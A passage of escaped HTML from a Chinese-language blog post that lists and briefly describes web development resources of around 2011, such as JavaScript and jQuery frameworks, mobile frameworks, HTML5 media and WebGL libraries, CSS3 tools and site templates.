target=\"_blank\">Akshell</a>，</strong>一种云服务，它使用服务端的JavaScript和在线的IDE帮助开发者进行快速应用程序开发。 它还提供云托管，所以部署是即时的。</li>\n<li><a href=\"http://braincast.nl/samples/jsoneditor/\" target=\"_blank\"><strong>JSONeditor</strong></a>, 一个好用的JSON 编辑器</li>\n<li>★ <a href=\"http://tinymce.moxiecode.com/wiki.php/TinyMCE\" target=\"_blank\"><strong>TinyMCE</strong></a> 一个轻量级的基于浏览器的所见即所得编辑器，支持目前流行的各种浏览器，由JavaScript写成。</li>\n<li><a href=\"http://www.sencha.com/products/designer/\" target=\"_blank\"><strong>Ext Designer</strong></a> 是一个桌面应用工具，帮助你快速开发基于ExtJS 的用户界面。</li>\n<li>★  <strong><a href=\"http://www.lucidchart.com/\" target=\"_blank\">LucidChart</a></strong>，一款基于最新的html5技术的在线图表绘制软件，功能强大，速度快捷，运行此软件需要支持html5的浏览器。</li>\n<li><a href=\"http://balsamiq.com/products/mockups\" target=\"_blank\"><strong>Balsamiq Mockups</strong></a>, 产品设计师绘制线框图或产品原型界面的利器。</li>\n<li><a href=\"http://colorschemedesigner.com/\" target=\"_blank\"><strong>Color Scheme Designer</strong></a> 3 – 一个免费的线上调色工具</li>\n<li>★ <a href=\"http://pixlr.com/editor/\" target=\"_blank\"><strong>Pixlr</strong></a>, 是一个来自瑞典基于Flash的免费在线图片处理网站。除了操作介面和功能接近Photoshop，还是多语言版本，支持简体中文。（以前<a href=\"https://coolshell.cn/articles/3244.html\" target=\"_blank\" title=\"在线作图编辑服务\">酷壳介绍过</a>）</li>\n<li><a href=\"http://www.aviary.com/\" target=\"_blank\"><strong>Aviary</strong></a>, 是一个基于HTML5 的在线图片处理工具，可以很容易的对图片进行后期处理。 <a href=\"http://developers.aviary.com/\" target=\"_blank\">Aviary API</a></li>\n<li><strong><a href=\"http://www.degraeve.com/favicon/\" target=\"_blank\">Favicon Generator</a>, </strong>线上favicon(16×16)制作工具。</li>\n</ul>\n<h4>代码资源和版本控制</h4>\n<p><img alt=\"\" class=\"aligncenter\" height=\"238\" src=\"../wp-content/uploads/github.png\" title=\"github\" width=\"600\"/></p>\n<ul>\n<li>★ <a href=\"https://github.com/\" target=\"_blank\"><strong>GitHub</strong></a> 是一个用于使用Git版本控制系统的项目的基于互联网的存取服务。</li>\n<li><a href=\"http://code.google.com/p/msysgit/\" target=\"_blank\"><strong>Git</strong></a> 是一个由Linus为了更好地管理linux内核开发而创立的分布式版本控制／软件配置管理软件。其巨快无比，高效，采用了分布式版本库的方式，不必服务器端软件支持，使源代码的发布和交流极其方便。</li>\n<li><a href=\"http://code.google.com/\" target=\"_blank\"><strong>Google Code</strong></a> 谷歌公司官方的开发者网站，包含各种开发技术的API、开发工具、以及开发技术参考资料。</li>\n<li><strong><a href=\"http://code.google.com/intl/zh-CN/apis/libraries/\" target=\"_blank\">Google Libraries API</a></strong> Google 将优秀的 JavaScript 框架部署在其 CDN 上，在我们的网站上使用 Google Libraries API 可以加速 JavaScript 框架的加载速度。</li>\n<li><a href=\"http://snipplr.com/\" target=\"_blank\"><strong>Snipplr</strong></a> 一个开放的源代码技巧分享社区，号称Code 2.0。和一般的源码分享网站不同，它针对的并不是大型网站源码，而是一些编程的代码技巧。</li>\n</ul>\n<h4>JavaScript 桌面应用框架</h4>\n<p><img alt=\"\" class=\"aligncenter\" height=\"238\" src=\"../wp-content/uploads/jqueryUI.jpg\" title=\"jqueryUI\" width=\"600\"/></p>\n<ul>\n<li>★ <a href=\"http://jquery.com/\" target=\"_blank\"><strong>jQuery</strong></a> 是一个快速、简单的JavaScript library， 它简化了HTML 文件的traversing，事件处理、动画、Ajax 互动，从而方便了网页制作的快速发展。  <a href=\"https://github.com/jquery/jquery\" target=\"_blank\">源码</a>, <a href=\"http://api.jquery.com/\" target=\"_blank\">API</a>, <a href=\"http://api.jquery.com/browser/\" target=\"_blank\">API浏览</a>, <a href=\"http://interface.eyecon.ro/docs/animate\" target=\"_blank\">很不错的文档</a>.</li>\n<li>★ 官方的 <a href=\"http://jqueryui.com/\" target=\"_blank\"><strong>jQuery User Interface (UI) library</strong></a> (演示和文档). <a href=\"https://github.com/jquery/jquery-ui%20\" target=\"_blank\">源码</a>,<a href=\"http://jqueryui.com/themeroller/\" target=\"_blank\">Themes Roller</a>, <a href=\"http://jqueryui.com/download\" target=\"_blank\">Download</a>.</li>\n<li><a href=\"http://developer.yahoo.com/yui/2/\" target=\"_blank\"><strong>YUI 2</strong></a> — Yahoo! User Interface Library</li>\n<li><a href=\"http://mootools.net/\" target=\"_blank\"><strong>Mootools</strong></a>, 一个超级轻量级的 web2.0 JavaScript framework</li>\n<li><a href=\"http://www.prototypejs.org/\" target=\"_blank\"><strong>Prototype</strong></a> 提供面向对象的Javascript和AJAX</li>\n<li><a href=\"http://dojotoolkit.org/\" target=\"_blank\"><strong>Dojo</strong></a> The Dojo Toolkit，一个强大的无法被打败的面向对象JavaScript框架。主要由三大模块组成：Core、Dijit、DojoX。Core提供Ajax,events,packaging,CSS-based querying,animations,JSON等相关操作API。Dijit是一个可更换皮肤，基于模板的WEB UI控件库。DojoX包括一些创新/新颖的代码和控件：DateGrid，charts，离线应用，跨浏览器矢量绘图等。</li>\n<li>★ <a href=\"http://dev.sencha.com/deploy/ext-4.0.0/docs/\" target=\"_blank\"><strong>Ext JS 4</strong></a>, 业内最强大的 JavaScript framework。</li>\n<li><a href=\"http://phpjs.org/functions/index\" target=\"_blank\"><strong>PHP.js</strong></a>, 一个开源的JavaScript 库，它尝试在JavaScript 中实现PHP 函数。在你的项目中导入<em>PHP.JS</em> 库，可以在静态页面使用你喜欢的PHP 函数。</li>\n</ul>\n<h4>JavaScript 移动和触摸框架</h4>\n<p><img alt=\"\" class=\"aligncenter\" height=\"238\" src=\"../wp-content/uploads/senchatouch.png\" title=\"senchatouch\" width=\"600\"/></p>\n<ul>\n<li>★ <a href=\"http://jquerymobile.com/\" target=\"_blank\"><strong>jQuery Mobile</strong></a> : 是 jQuery 在手机上和平板设备上的版本。jQuery Mobile 不仅会给主流移动平台带来jQuery核心库，而且会发布一个完整统一的jQuery移动UI框架。支持全球主流的移动平台。jQuery Mobile开发团队说：能开发这个项目，我们非常兴奋。移动Web太需要一个跨浏览器的框架，让开发人员开发出真正的移动Web网站。我们将尽全力去满足这样的需求。 <a href=\"https://github.com/jquery/jquery-mobile\" target=\"_blank\">Sources</a>.</li>\n<li><a href=\"http://zeptojs.com/\" target=\"_blank\"><strong>Zepto.js</strong></a> Zepto.js 是支持移动WebKit浏览器的JavaScript框架，具有与jQuery兼容的语法。2-5k的库，通过不错的API处理绝大多数的基本工作。 <a href=\"https://github.com/madrobby/zepto\" target=\"_blank\">Sources</a>.</li>\n<li><a href=\"http://microjs.com/\" target=\"_blank\"><strong>MicroJS</strong></a> : Microjs网站应用列出了很多轻量的Javascript类库和框架，它们都很小，大部分小于5kb。这样你不需要因为只需要一个功能就要加载一个JS的框架。</li>\n<li>★ <a href=\"http://phonegap.com/\" target=\"_blank\"><strong>PhoneGap</strong></a> :是一款开源的手机应用开发平台，它仅仅只用HTML和JavaScript语言就可以制作出能在多个移动设备上运行的应用。 <a href=\"https://github.com/phonegap/phonegap\" target=\"_blank\">Sources</a>.</li>\n<li>★ <a href=\"http://www.sencha.com/products/touch/\" target=\"_blank\"><strong>Sencha Touch</strong></a> Sencha Touch 是一个支持多种智能手机平台（iPhone, Android, 和BlackBerry）的 HTML5 框架。Sencha Touch可以让你的Web App看起来像Native App。美丽的用户界面组件和丰富的数据管理，全部基于最新的HTML5和CSS3的 WEB标准，全面兼容Android和Apple iOS设备。</li>\n<li><a href=\"http://jqtouch.com/\" target=\"_blank\"><strong>JQtouch</strong></a>, 是一个jQuery 的插件，主要用于手机上的Webkit 浏览器上实现一些包括动画、列表导航、默认应用样式等各种常见UI效果的JavaScript 库。 <a href=\"http://github.com/senchalabs/jQTouch\" target=\"_blank\">Sources</a>.</li>\n<li><a href=\"http://www.dhtmlx.com/touch/\" target=\"_blank\"><strong>DHTMLX Touch</strong></a> 针对移动和触摸设备的JavaScript 框架。DHTMLX Touch基于HTML5，创建移动web应用。它不只是一组UI 小工具，而是一个完整的框架，可以针对移动和触摸设备创建跨平台的web应用。它兼容主流的web浏览器，用DHTMLX Touch创建的应用，可以在iPad、iPhone、Android智能手机等上面运行流畅。</li>\n</ul>\n<h4>jQuery 插件</h4>\n<p><img alt=\"\" class=\"aligncenter\" height=\"238\" src=\"../wp-content/uploads/flexiGrid.jpg\" title=\"flexiGrid\" width=\"600\"/></p>\n<ul>\n<li><a href=\"http://imakewebthings.github.com/jquery-waypoints/\" target=\"_blank\"><strong>Waypoints</strong></a> 是一个jQuery 用来实现捕获各种滚动事件的插件，例如实现无翻页的内容浏览，或者固定某个元素不让滚动等等。支持主流浏览器版本。</li>\n<li><strong><a href=\"http://plugins.jquery.com/project/lazy\" target=\"_blank\">Lazy loader</a> </strong>插件可以实现图片的延迟加载，当网页比较长的时候，会先只加载用户视窗内的图片，视窗外的图片会等到你拖动滚动条至后面才加载，这样有效的避免了因图片过多而加载慢的弊端。</li>\n<li><a href=\"https://github.com/gskinner/TweenJS\" target=\"_blank\"><strong>TweenJS</strong></a> : 一个简单和强大的 tweening / animation 的Javascript库。</li>\n<li><a href=\"http://janne.aukia.com/easie/\" target=\"_blank\"> <strong>Easings</strong></a> 类Css3的jQuery 动画插件</li>\n<li><a href=\"http://www.spritely.net/\" target=\"_blank\"><strong>Spritely</strong></a> 这个插件可以创建出如flash一样的动画效果，比如：在页面上有一只飞动的小鸟，一个动态滚动的背景等。</li>\n<li><strong><a href=\"https://github.com/blueimp/jQuery-File-Upload/\" target=\"_blank\">File Upload</a>, </strong>jQuery 文件上传插件4.4.1</li>\n<li><a href=\"http://www.agilecarousel.com/\" target=\"_blank\"><strong>Slideshow/Carousel</strong></a> 插件. <a href=\"https://github.com/edtalmadge/Agile-Carousel\" target=\"_blank\">Sources</a>.</li>\n<li><a href=\"http://www.buildinternet.com/project/supersized/\" target=\"_blank\"><strong>Supersized</strong></a> – 全屏式的背景/幻灯片插件</li>\n<li><a href=\"http://desandro.com/resources/jquery-masonry\" target=\"_blank\"><strong>Masonry</strong></a> i一款非常酷的自动排版插件，这款jQuery工具可以根据网格来自动排列水平和垂直元素，超越原来的css. <a href=\"https://github.com/desandro/masonry\" target=\"_blank\">Sources</a>.</li>\n<li>jQuery 简单 <a href=\"http://layout.jquery-dev.net/demos.cfm\" target=\"_blank\"><strong>Layout</strong></a> 演示，管理各种边栏式，可改变大小式的布局。</li>\n<li><a href=\"http://www.flexigrid.info/\" target=\"_blank\"><strong>Flexigrid</strong></a> – jQuery <a href=\"http://www.flexigrid.info/\" target=\"_blank\"><strong></strong></a>数据表插件</li>\n<li><a href=\"http://isotope.metafizzy.co/\" target=\"_blank\"><strong>Isotope</strong></a>绝对是一个令人难以置信的<em>jQuery</em>插件，你可以用它来创建动态和智能布局。你可以隐藏和显示与过滤项目，重新排序和整理甚至更多。</li>\n<li><a href=\"http://www.evanbyrne.com/article/super-gestures-jquery-plugin\" target=\"_blank\"><strong>Super Gestures</strong></a> jQuery 插件可以实现鼠标手势的功能。</li>\n<li><a href=\"https://github.com/brandonaaron/jquery-mousewheel\" target=\"_blank\"><strong>MouseWheel</strong></a> 是由Brandon Aaron开发的<em>jQuery</em>插件，用于添加跨浏览器的鼠标滚轮支持。</li>\n<li><a href=\"http://code.drewwilson.com/entry/autosuggest-jquery-plugin\" target=\"_blank\"><strong>AutoSuggest</strong></a> jQuery 插件可以让你添加一些自动完成的功能。</li>\n<li><a href=\"http://craigsworks.com/projects/qtip/\" target=\"_blank\"><strong>qTip</strong></a> 一个漂亮的<em>jQuery</em> 的工具提示插件，这个插件功能相当强大。</li>\n<li>jQuery <a href=\"http://www.highcharts.com/demo/\" target=\"_blank\"><strong>Charts and graphic</strong></a> 用来制作图表。</li>\n<li>jQuery Tools– The <a href=\"http://flowplayer.org/tools/demos/\" target=\"_blank\"><strong>missing UI library</strong></a></li>\n</ul>\n<h4>其它 jQuery 资源</h4>\n<ul>\n<li><a href=\"http://www.smashingmagazine.com/2011/04/07/useful-javascript-and-jquery-tools-libraries-plugins\" target=\"_blank\">http://www.smashingmagazine.com/2011/04/07/useful-javascript-and-jquery-tools-libraries-plugins</a></li>\n<li><a href=\"http://webdesigneraid.com/weekly-html5-news-and-inspirations-%E2%80%93-tutorials-tools-resources-and-freebies-v-2/\" target=\"_blank\">http://webdesigneraid.com/weekly-html5-news-and-inspirations-%E2%80%93-tutorials-tools-resources-and-freebies-v-2/</a></li>\n<li><a href=\"http://www.designer-daily.com/15-useful-jquery-plugins-and-tutorials-5207\" target=\"_blank\">http://www.designer-daily.com/15-useful-jquery-plugins-and-tutorials-5207</a></li>\n<li><a href=\"http://www.julien-verkest.fr/22/11/2007/240-plugins-jquery\" target=\"_blank\">http://www.julien-verkest.fr/22/11/2007/240-plugins-jquery</a></li>\n<li><a href=\"http://www.hotscripts.com/blog/10-great-html5-experiments-apps/\" target=\"_blank\">http://www.hotscripts.com/blog/10-great-html5-experiments-apps/</a></li>\n<li><a href=\"http://www.noupe.com/jquery/excellent-jquery-navigation-menu-tutorials.html\" target=\"_blank\">http://www.noupe.com/jquery/excellent-jquery-navigation-menu-tutorials.html</a></li>\n<li><a href=\"http://www.noupe.com/php/20-useful-php-jquery-tutorials.html\" target=\"_blank\">http://www.noupe.com/php/20-useful-php-jquery-tutorials.html</a></li>\n<li><a href=\"http://aext.net/2010/04/excellent-jquery-plugins-resources-for-data-presentation-and-grid-layout/\" target=\"_blank\">http://aext.net/2010/04/excellent-jquery-plugins-resources-for-data-presentation-and-grid-layout/</a></li>\n<li><a href=\"http://webdesigneraid.com/html5-canvas-graphing-solutions-every-web-developers-must-know/\" target=\"_blank\">http://webdesigneraid.com/html5-canvas-graphing-solutions-every-web-developers-must-know/</a></li>\n<li><a href=\"http://gestureworks.com/features/open-source-gestures/\" target=\"_blank\">http://gestureworks.com/features/open-source-gestures/</a></li>\n<li><a href=\"http://edtechdev.wordpress.com/2011/01/14/some-exciting-new-html5javascript-projects/\" target=\"_blank\">http://edtechdev.wordpress.com/2011/01/14/some-exciting-new-html5javascript-projects/</a></li>\n<li><a href=\"http://net.tutsplus.com/articles/web-roundups/30-developers-you-must-subscribe-to-as-a-javascript-junkie/\" target=\"_blank\">http://net.tutsplus.com/articles/web-roundups/30-developers-you-must-subscribe-to-as-a-javascript-junkie/</a></li>\n</ul>\n<h4>HTML5 视频播放器</h4>\n<p><img alt=\"\" class=\"aligncenter\" height=\"238\" src=\"../wp-content/uploads/leanBackPlayer.jpg\" title=\"leanBackPlayer\" width=\"600\"/></p>\n<ul>\n<li>★ <a href=\"https://github.com/webmademovies/popcorn-js\" target=\"_blank\"><strong>Popcorn.js</strong></a> 是一个HTML5 Video框架，它提供了易于使用的API来同步交互式内容，让操作HTML5 Video元素的属性，方法和事件变得简单易用。 (来自Mozilla)</li>\n<li><a href=\"http://dev.mennerich.name/showroom/html5_video/\" target=\"_blank\"><strong>LeanBack Player</strong></a> HTML5视频播放器,没有依赖任何JavaScript框架。支持全屏播放，音量控制，在同一个页面中播放多个视频。 (来自Google)</li>\n<li><a href=\"http://m.vid.ly/user/\" target=\"_blank\"><strong>Vid.ly</strong></a> 为你上传的视频提供转换功能，并且为转换后的视频创建一个短网址。通过Vid.ly，让你的视频可以在14种不同的浏览器和设备上播放，不需要再去考虑将要浏览视频的人使用什么设备了，以避免各各软件巨头之间的利益之争带来了不兼容，给用户带来了巨大的困扰，短网址让你可以通过Twitter、Facebook等方式方便分享视频。Vid.ly还可以通过html代码嵌入到其他网页中。Vid.ly免费帐户空间为1GB，免费帐户也没有播放或浏览限制。</li>\n</ul>\n<h4>JavaScript 音频处理与可视化效果</h4>\n<p><img alt=\"\" height=\"238\" src=\"../wp-content/uploads/soundmanager.png\" title=\"soundmanager\" width=\"600\"/></p>\n<ul>\n<li>★ 使用HTML5 和 Flash, <a href=\"http://www.schillmania.com/projects/soundmanager2/\" target=\"_blank\"><strong>SoundManager V2</strong></a> 只用单一API的提供了可靠，简单和强大的跨平台的音频处理。</li>\n<li><a href=\"https://github.com/corbanbrook/dsp.js/\" target=\"_blank\"><strong>DSP</strong></a>, JavaScript的声音Digital Signal Processing</li>\n<li>The Radiolab <a href=\"http://yoyodyne.cc/radiolab/\" target=\"_blank\"><strong>Hyper Audio Player</strong></a> v1, 带给你 WNYC Radiolab, SoundCloud 和 Mozilla Drumbeat</li>\n<li><a href=\"http://jplayer.org/\" target=\"_blank\"><strong>jPlayer</strong></a>, 一个 jQuery HTML5 音频/ 视频库，功能齐全的API</li>\n</ul>\n<h4>JavaScript 图形 和 3D</h4>\n<p><img alt=\"\" class=\"aligncenter\" height=\"238\" src=\"../wp-content/uploads/processing.png\" title=\"processing\" width=\"600\"/></p>\n<ul>\n<li>★ <a href=\"http://processingjs.org/\" target=\"_blank\"><strong>Processing.js</strong></a>是一个开放的编程语言，在不使用Flash或Java小程序的前提下, 可以实现程序图像、动画和互动的应用。其使用Web标准，无需任何插件。</li>\n<li>★ Javascript 3D 引擎: <a href=\"https://github.com/mrdoob/three.js\" target=\"_blank\"><strong>ThreeJS</strong></a> 由 Mr Doob 开发，一个轻量级的 3D 引擎，不需要了解细节，傻瓜都能使用。这个引擎可以使用&lt;canvas&gt;, &lt;svg&gt; 和 WebGL.</li>\n<li><a href=\"http://www.iquilezles.org/apps/shadertoy/\" target=\"_blank\"><strong>Shader Toy</strong></a>, 一款使用WebGL的在线着色器编辑器(2D/3D). 基于在线的应用架构使您无需下载任何软件即可开始体验. Shader Toy包含大量实用着色器, 诸如光线追踪, 场景距离渲染, 球体, 隧道, 变形, 后期处理特效等.</li>\n<li><a href=\"http://senchalabs.github.com/philogl/\" target=\"_blank\"><strong>PhiloGL</strong></a>, Sencha的PhiloGL是首个WebGL开发工具之一，提供了高水准的功能，来构建WebGL应用。Sencha创建了几个演示，来描述框架交互式3D虚拟化的能力，比如<a href=\"http://senchalabs.github.com/philogl/PhiloGL/examples/temperatureAnomalies/\">3D view of global temperature changes</a>。</li>\n<li><a href=\"http://benvanik.github.com/WebGL-Inspector/\" target=\"_blank\"><strong>WebGL Inspector</strong></a> 你就Firebug等Web调试工具一样，这个是 WebGL的调试工具。</li>\n<li><a href=\"http://www.khronos.org/webgl/wiki_1_15/\" target=\"_blank\"><strong>WebGL frameworks</strong></a> 由 Khronos Group 收集的一个WebGL框架列表。</li>\n<li><a href=\"http://easeljs.com/\" target=\"_blank\"><strong>EaselJS</strong></a>, 一个使用html5的canvas的 JavaScript 库. <a href=\"https://github.com/gskinner/EaselJS\" target=\"_blank\">Sources</a>.</li>\n<li><a href=\"http://www.webresourcesdepot.com/free-javascript-game-frameworks-to-create-a-web-based-fun/\" target=\"_blank\"><strong>JavaScript Game Frameworks</strong></a> 免费的JS游戏框架列表。另，可参看 <a href=\"https://coolshell.cn/articles/3516.html\" target=\"_blank\" title=\"JS游戏引擎列表\">JS游戏框架列表</a>。</li>\n<li><a href=\"http://raphaeljs.com/\" target=\"_blank\"><strong>Raphaël</strong></a>是一个小型的JavaScript 库，用来简化在页面上显示向量图的工作。你可以用它在页面上绘制各种图表、并进行图片的剪切、旋转等操作。参看<a href=\"https://coolshell.cn/articles/3107.html\" target=\"_blank\" title=\"Javascript向量图Lib–Raphaël\">Javascript向量图Lib–Raphaël</a></li>\n<li><a href=\"http://keith-wood.name/svgRef.html\" target=\"_blank\"><strong>jQuery SVG</strong></a> 插件让你可以了 SVG canvas 进行交互。</li>\n<li><a href=\"http://code.google.com/intl/fr/apis/chart/\" target=\"_blank\"><strong>Google chart tools</strong></a> –  参看本站的<a href=\"https://coolshell.cn/articles/582.html\" target=\"_blank\">使用Google API做统计图</a></li>\n<li><a href=\"https://coolshell.cn/articles/582.html\" target=\"_blank\"></a><a href=\"http://arborjs.org/\" target=\"_blank\"><strong>Arbor.js</strong></a>, 是一个利用webworkers和jQuery创建的数据图形可视化JavaScript框架。它为图形组织和屏幕刷新处理提供了一个高效、力导向布局算法。</li>\n</ul>\n<h4>JavaScript 浏览器接口 (HTML5)</h4>\n<p><img alt=\"\" class=\"aligncenter\" height=\"238\" src=\"../wp-content/uploads/amplify.png\" title=\"amplify\" width=\"600\"/></p>\n<ul>\n<li>★ <a href=\"http://www.modernizr.com/\" target=\"_blank\"><strong>Modernizr</strong></a> – 是一个专为HTML5 和CSS3 开发的功能检测类库，可以根据浏览器对HTML5 和CSS3 的支持程度提供更加便捷的前端优化方案.<a href=\"https://github.com/Modernizr/Modernizr\" target=\"_blank\">Sources</a>. 一个有用的列表 <a href=\"https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-browser-Polyfills\" target=\"_blank\">cross-browser Polyfills</a></li>\n<li><a href=\"http://code.google.com/p/html5shiv/\" target=\"_blank\"><strong>HTML5Shiv</strong></a> : 该项目的目的是为了让IE 能识别HTML5 的元素。</li>\n<li><a href=\"https://github.com/remy/polyfills\" target=\"_blank\"><strong>Polyfills</strong></a> : 这个项目收集了一些代码片段其用Javascript支持不同的浏览器的特别功能，有些代码需要Flash。</li>\n<li><a href=\"http://yepnopejs.com/\" target=\"_blank\"><strong>YepNopeJS</strong></a> : 一个异步的条件式的加载器。<a href=\"https://github.com/SlexAxton/yepnope.js\" target=\"_blank\">Sources</a>.</li>\n<li>jQuery <a href=\"https://github.com/codler/jQuery-Css3-Finalize/\" target=\"_blank\"><strong>CSS3 Finalise</strong></a> : 是否厌倦了为每一个浏览器的CSS3属性加前缀？</li>\n<li>★ <a href=\"http://amplifyjs.com/\" target=\"_blank\"><strong>Amplify.js</strong></a> :一套用于web应用数据管理和应用程序通讯的<strong> jQuery 组件库</strong>。提供简单易用的API接口。Amplify的目标是通过为各种数据源提供一个统一的程序接口简化各种格式数据的数据处理。Amplify的存储组件使用localStorage 和 sessionStorage标准处理客户端的存储信息，对一些老的浏览器支持可能有问题。Amplify’为jQuery的ajax方法request增加了一些额外的特性。 <a href=\"https://github.com/appendto/amplify\" target=\"_blank\">Sources</a>.</li>\n<li><a href=\"https://github.com/balupton/history.js\" target=\"_blank\"><strong>History.js</strong></a> 优美地支持了HTML5 History/State APIs</li>\n<li><a href=\"http://socket.io/\" target=\"_blank\"><strong>Socket.IO</strong></a> Web的socket编程。</li>\n</ul>\n<h4>JavaScript 工具</h4>\n<p><img alt=\"\" class=\"aligncenter\" height=\"238\" src=\"../wp-content/uploads/headJs.png\" title=\"headJs\" width=\"600\"/></p>\n<ul>\n<li>★  {{<a href=\"http://mustache.github.com/\" target=\"_blank\"><strong>mustaches</strong></a>}} 小型的 JavaScript 模板引擎。</li>\n<li><a href=\"http://jsonselect.org/\" target=\"_blank\"><strong>json:select()</strong></a>, CSS式的JSON选择器</li>\n<li><a href=\"http://headjs.com/\" target=\"_blank\"><strong>HeadJS</strong></a>, 异步JavaScript装载。其最大特点就是不仅可以按顺序执行还可以并发装载载js。</li>\n<li><a href=\"http://code.google.com/p/jsdoc-toolkit/\" target=\"_blank\"><strong>JsDoc Toolkit</strong></a>是一款辅助工具，你只需要根据约定在JavaScript 代码中添加相应的注释，它就可以根据这些注释来自动生成API文档。</li>\n<li><a href=\"https://github.com/filamentgroup/Responsive-Images\" target=\"_blank\"><strong>Responsive image</strong></a>, 一个试验性的项目，用来处理<a href=\"http://www.alistapart.com/articles/responsive-web-design/\">responsive layouts</a> 式的图片。</li>\n<li><a href=\"http://marijnhaverbeke.nl/uglifyjs\" target=\"_blank\"><strong>UglifyJS</strong></a>是基于NodeJS的Javascript语法解析/压缩/格式化工具，它支持任何CommonJS模块系统的Javascript平台。</li>\n<li><a href=\"http://www.dhteumeuleu.com/\" target=\"_blank\"><strong>Dhteumeuleu</strong></a>, 交互式的 DOM 脚本和DHTML 的开源演示。</li>\n<li><a href=\"https://github.com/documentcloud/backbone/\" target=\"_blank\"><strong>Backbone</strong></a>是一个前端 JS 代码 MVC 框架，被著名的 37signals 用来构建他们的移动客户端。它不可取代 Jquery，不可取代现有的Template 库。而是和这些结合起来构建复杂的 web 前端交互应用。如果项目涉及大量的 javascript 代码，实现很多复杂的前端交互功能，首先你会想到把数据和展示分离。使用 Jquery 的 selector 和 callback 可以轻松做到这点。但是对于富客户端的WEB应用大量代码的结构化组织非常必要。Backbone 就提供了 javascript 代码的组织的功能。Backbone 主要包括 models, collections, views 和 events, controller 。</li>\n</ul>\n<h4>客户端和模拟器</h4>\n<p><img alt=\"\" class=\"aligncenter\" height=\"238\" src=\"../wp-content/uploads/firebug.png\" title=\"firebug\" width=\"600\"/></p>\n<ul>\n<li><a href=\"http://browsershots.org/\" target=\"_blank\"><strong>BrowserShot</strong></a>, 检查浏览器的兼容性，跨浏览器平器的测试</li>\n<li><strong><a href=\"http://tester.jonasjohn.de/\" target=\"_blank\">Test everything</a></strong>… 输入一个你想要测试的URL……</li>\n<li><a href=\"http://tmobile.modeaondemand.com/htc/g1/\" target=\"_blank\"><strong>Android browser</strong></a> 模拟器</li>\n<li><a href=\"http://iphonetester.com/\" target=\"_blank\"><strong>iPhone browser</strong></a> 模拟器</li>\n<li><a href=\"http://www.opera.com/mobile/demo/\" target=\"_blank\"><strong>Opera browser</strong></a> 模拟器</li>\n<li>★ <a href=\"http://getfirebug.com/whatisfirebug\" target=\"_blank\"><strong>Firebug</strong></a> 与 <strong><a href=\"http://www.mozilla.com/fr/firefox/\" target=\"_blank\">Firefox</a></strong> 集成，可以查看和调试你的Web页面。</li>\n</ul>\n<h3>CSS3 和 字库</h3>\n<p><img alt=\"\" class=\"aligncenter\" height=\"238\" src=\"../wp-content/uploads/patternTap.png\" title=\"patternTap\" width=\"600\"/></p>\n<ul>\n<li>★ <a href=\"http://www.css3maker.com/\" target=\"_blank\"><strong>CSS3 Maker</strong></a> CCS3的生成器</li>\n<li>容易地创建 <strong><a href=\"http://www.sencha.com/products/animator/\" target=\"_blank\">CSS3 animations</a>。</strong> Sencha Animator 是一个桌面应用可以为WebKit浏览器和触摸式移动设备创建 CSS3 animations 。</li>\n<li><a href=\"http://csswarp.eleqtriq.com/\" target=\"_blank\"><strong>CSSwarp</strong></a> – CSS 文本扭曲生成器</li>\n<li><a href=\"http://www.colorzilla.com/gradient-editor/\" target=\"_blank\"><strong>Gradient Editor</strong></a>, 一个强大的Photoshop式的CSS 渐变编译器。来自 ColorZilla</li>\n<li>★ <a href=\"http://www.google.com/webfonts\" target=\"_blank\"><strong>Google Web Fonts</strong></a> 通过Google Web Fonts API 可以浏览所有的字体</li>\n<li><a href=\"http://www.fontsquirrel.com/fontface/generator\" target=\"_blank\"><strong>@font-face Kit Generator</strong></a>, 为Web转换字体</li>\n<li><a href=\"http://www.typetester.org/\" target=\"_blank\"><strong>Typetester</strong></a>, 比较字体。</li>\n<li><a href=\"http://mediaqueri.es/\" target=\"_blank\"><strong>Media Queries</strong></a>. 一组 responsive web 设计。</li>\n<li><a href=\"http://patterntap.com/\" target=\"_blank\"><strong>Pattern TAP</strong></a>, UI组件。</li>\n</ul>\n<h4>Website (FULL) 模板</h4>\n<p><img alt=\"\" class=\"aligncenter\" height=\"238\" src=\"../wp-content/uploads/boilerplate1.png\" title=\"boilerplate\" width=\"600\"/></p>\n<ul>\n<li>★ <a href=\"http://html5boilerplate.com/\" target=\"_blank\"><strong>HTML5 Boilerplate</strong></a> 是一个<a href=\"http://www.mhtml5.com/\">HTML5 </a>/ CSS / js模板，是实现跨浏览器正常化、性能优化，稳定的可选功能如跨域Ajax和Flash的最佳实践。 项目的开发商称之为技巧集合，目的是满足您开发一个跨浏览器，并且面向未来的网站的需求。 <a href=\"https://github.com/paulirish/html5-boilerplate\" target=\"_blank\">Sources</a>.</li>\n<li><a href=\"http://sickdesigner.com/resources/HTML5-starter-pack/\" target=\"_blank\"><strong>HTML5 starter pack</strong></a> 是一个干净的和有组织的目录结构，其可适合很多项目，还有一些很常用的文件，以及简单的Photoshop设计模板。</li>\n<li>★ <a href=\"http://initializr.com/\" target=\"_blank\"><strong>Initializr</strong></a> 是一个HTML5 模板生成器，其可以帮你在15秒内创建一个HTML5的项目。</li>\n<li><a href=\"http://tympanus.net/Tutorials/AnimatedPortfolioGallery/\" target=\"_blank\"><strong>Animated Portfolio Gallery</strong></a> （<a href=\"http://tympanus.net/codrops/2010/11/14/animated-portfolio-gallery/\" target=\"_blank\">教程</a>）</li>\n<li> <a href=\"http://tutorialzine.com/2010/07/making-slick-mobileapp-website-jquery-css/\" target=\"_blank\"><strong>Slick MobileApp Website</strong></a> 如果通过 jQuery 和 CSS 制作一个手机应用的网站。</li>\n<li> <a href=\"http://net.tutsplus.com/tutorials/javascript-ajax/how-to-build-an-rss-reader-with-jquery-mobile-2/\" target=\"_blank\"><strong>RSS Reader</strong></a> 如果通过 jQuery Mobile 创建一个RSS Reader</li>\n<li>★ <a href=\"http://addyosmani.com/blog/building-spas-jquerys-best-friends/\" target=\"_blank\"><strong>Single Page Applications</strong></a> 使用jQuery的朋友们 (Backbone, Underscore, …)创建单一页面。</li>\n<li><a href=\"http://code.google.com/p/gtv-resources/\" target=\"_blank\"><strong>Google TV Optimized Templates</strong></a>, 传统电视已经开始和网路融合，但现阶段产业仍然正在摸索之中，为此将来的网页亦会有结构上的改变。<a href=\"http://code.google.com/p/gtv-resources/\">Google TV Optimized Templates</a>是一个用HTML/JavaScript制成的开源软体，一如其名是一个对Google TV作出了最佳化的的网页范本，其特色是以遥控器作为操作的前提，令使用者无需输入任何文字就可以进行控制。未来除了会有专用遥控器外，还会采用智能手机透过W-iFi控制Google TV的方法。Optimized 